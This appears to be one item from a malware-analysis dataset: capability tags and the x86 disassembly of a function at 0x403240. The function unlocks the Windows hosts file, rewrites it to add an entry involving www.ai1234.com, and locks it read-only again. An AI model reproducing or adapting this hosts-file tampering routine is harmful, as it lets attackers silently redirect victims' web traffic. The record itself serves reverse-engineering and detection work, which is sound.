Function at 0x403240
Capabilities:
Get common file path
Get file attributes
Move file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x41e6e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, ecx
push edi
push str.WINDOWS_system32driversetchosts
lea eax, [esi + 0x88]
lea ecx, [esp + 0x14]
push eax
push ecx
xor edi, edi
call fcn.004193ac
lea ecx, [esp + 0x28]
mov dword [esp + 0x44], edi
call fcn.004196c1
mov edx, dword [0x427ec4]
mov dword [esp + 0x18], edx
push 0x42b738
lea ecx, [esp + 0x20]
mov byte [esp + 0x48], 2
call fcn.004191d1
push 0x10000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x50], 3
call fcn.00418ed8
mov ecx, esi
call fcn.00403150
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and al, 0xfe
push eax
push edx
call ebp
mov eax, dword [0x427ec4]
mov dword [esp + 0x14], eax
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 4
call fcn.00419547
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00419596
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.004193ac
mov eax, dword [eax]
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileA]
push eax
mov eax, dword [esp + 0x14]
push eax
call ebx
lea ecx, [esp + 0x20]
call fcn.00419163
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.004193ac
mov eax, dword [eax]
mov byte [esp + 0x44], 5
push edi
push edi
push eax
lea ecx, [esp + 0x34]
call fcn.00419736
lea ecx, [esp + 0x20]
mov byte [esp + 0x44], 4
call fcn.00419163
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
call fcn.00419919
test eax, eax
je 0x4033d5
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x20]
call fcn.0041952f
push 0x427bc0
lea ecx, [esp + 0x20]
call fcn.004194f3
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.00419596
push str.www.ai1234.com
lea ecx, [esp + 0x1c]
call fcn.00414a93
cmp eax, 0xffffffff
je 0x4033c3
mov edi, 1
lea edx, [esp + 0x18]
lea ecx, [esp + 0x28]
push edx
call fcn.00419919
test eax, eax
jne 0x403384
lea ecx, [esp + 0x28]
call fcn.00419a66
test edi, edi
jne 0x40345e
push 0x42778c
lea ecx, [esp + 0x24]
call fcn.004191d1
lea eax, [esp + 0x14]
push str.hosts
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x50], 6
call fcn.004193ac
mov eax, dword [eax]
push edi
push 1
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x50], 7
call fcn.00419736
lea ecx, [esp + 0x24]
mov byte [esp + 0x44], 6
call fcn.00419163
lea edx, [esp + 0x20]
lea ecx, [esp + 0x1c]
push edx
call fcn.0041952f
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
push eax
call fcn.004198a9
lea ecx, [esp + 0x28]
call fcn.00419a66
lea ecx, [esp + 0x20]
mov byte [esp + 0x44], 4
call fcn.00419163
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.004193ac
mov ecx, dword [esp + 0x10]
mov eax, dword [eax]
push ecx
push eax
call ebx
lea ecx, [esp + 0x24]
call fcn.00419163
mov edx, dword [esp + 0x10]
push 1
push edx
call ebp
push 0x80000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00418ed8
mov ecx, esi
call fcn.00403150
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 3
call fcn.00419163
lea ecx, [esp + 0x1c]
mov byte [esp + 0x44], 2
call fcn.00419163
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 1
call fcn.00419163
lea ecx, [esp + 0x28]
mov byte [esp + 0x44], 0
call fcn.004196f3
lea ecx, [esp + 0x10]
mov dword [esp + 0x44], 0xffffffff
call fcn.00419163
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x38
ret